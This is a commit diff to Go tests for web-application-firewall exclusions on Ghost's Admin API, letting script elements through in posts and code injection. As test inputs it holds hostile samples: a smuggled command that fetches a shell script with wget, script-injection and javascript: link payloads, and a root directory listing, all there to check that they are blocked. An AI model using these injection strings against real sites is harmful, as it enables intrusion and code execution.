Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Waiting to run
check / check (push) Waiting to run
While bodies are read, 941110 refused a `<script>` element in an HTML card that embeds a widget, and in code injection that loads analytics. The new exclusion 900366 switches 941110 off on the Admin API for `lexical`, `mobiledoc` and `html` of posts and pages, their `codeinjection_head` and `codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer and every other field and path still refuse it; `javascript:` links stay refused everywhere. Model: opus-5-5
This commit is contained in:
1 parent
de7ef16001
commit
3aa9027686
3 files changed
+110
-18
No files matched your search
@@ -143,10 +143,11 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
||||
// <script> element by 900366.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostArticleFields = []ghostField{
|
||||
var ghostPostFields = []ghostField{
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
||||
{
|
||||
@@ -155,6 +156,13 @@ var ghostArticleFields = []ghostField{
|
||||
`{"posts":[{"html":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
||||
}
|
||||
|
||||
// ghostSnippetFields hold a snippet or a newsletter's footer, skip the rules
|
||||
// of 900355, and still refuse a <script> element.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostSnippetFields = []ghostField{
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/snippets/",
|
||||
@@ -167,8 +175,13 @@ var ghostArticleFields = []ghostField{
|
||||
},
|
||||
}
|
||||
|
||||
// ghostCodeFields hold code injection or a setting and skip the rules of
|
||||
// 900356.
|
||||
// ghostArticleFields hold an article and skip the rules of 900355.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostArticleFields = slices.Concat(ghostPostFields, ghostSnippetFields)
|
||||
|
||||
// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
|
||||
// and take a <script> element by 900366.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostCodeFields = []ghostField{
|
||||
@@ -335,11 +348,41 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
||||
}
|
||||
|
||||
// ghostAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, not escaped.
|
||||
// ghostWidget is an HTML card that embeds a widget with its script.
|
||||
const ghostWidget = `<div id="signup"></div>` +
|
||||
`<script src="https://widgets.example.com/form.js" async></script>`
|
||||
|
||||
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
||||
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
||||
`"html":"<div id=\"signup\"></div><script ` +
|
||||
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
||||
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
||||
|
||||
// ghostAnalytics is code injection that loads analytics.
|
||||
const ghostAnalytics = `<script defer ` +
|
||||
`src="https://analytics.example.com/script.js"></script>`
|
||||
|
||||
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// An HTML card in a post, as the editor saves it, and as integrations
|
||||
// send it.
|
||||
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
||||
|
||||
for _, f := range ghostPostFields {
|
||||
wantGhostField(t, f, ghostWidget, false)
|
||||
}
|
||||
|
||||
// Site code injection, saved in settings, and a post's or a page's own.
|
||||
for _, f := range ghostCodeFields {
|
||||
wantGhostField(t, f, ghostAnalytics, false)
|
||||
}
|
||||
}
|
||||
|
||||
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
||||
var ghostAttacks = []string{injection, pathTraversal}
|
||||
|
||||
// commandAfterASeparator is a shell command after a ";", not escaped.
|
||||
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
||||
@@ -358,6 +401,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A script injection stays refused in every field that does not take a
|
||||
// <script> element.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||
ghostSnippetFields) {
|
||||
wantGhostField(t, f, scriptTag, true)
|
||||
}
|
||||
|
||||
for _, target := range ghostQueryFields {
|
||||
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
||||
}
|
||||
|
||||
// A command after a separator stays refused wherever its rules do not
|
||||
// misfire: in the query fields, the plain text and the addresses.
|
||||
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||
@@ -372,13 +426,17 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
// The articles and code injection carry HTML on purpose, but a script
|
||||
// element and a javascript: link are still refused there.
|
||||
// The articles and code injection carry HTML on purpose, but a
|
||||
// javascript: link is still refused there, and a script element in
|
||||
// snippets and a newsletter's footer.
|
||||
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||
}
|
||||
|
||||
for _, f := range ghostSnippetFields {
|
||||
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses a listing of files.
|
||||
for _, f := range ghostAddressFields {
|
||||
wantGhostField(t, f, "ls -la /root", true)
|
||||
@@ -401,6 +459,9 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||
script = `<script defer src=\"/script.js\"></script>`
|
||||
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
|
||||
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
|
||||
)
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
@@ -419,6 +480,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||
ghostSettings + "?json.settings.0.value=x",
|
||||
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
||||
},
|
||||
{"/ghost/api/content/posts/", scriptInPost},
|
||||
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
|
||||
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
|
||||
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
|
||||
{"/api/settings/", scriptInSettings},
|
||||
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
|
||||
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
||||
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
||||
{ghostPosts, email},
|
||||
|
||||
Reference in new issue
Block a user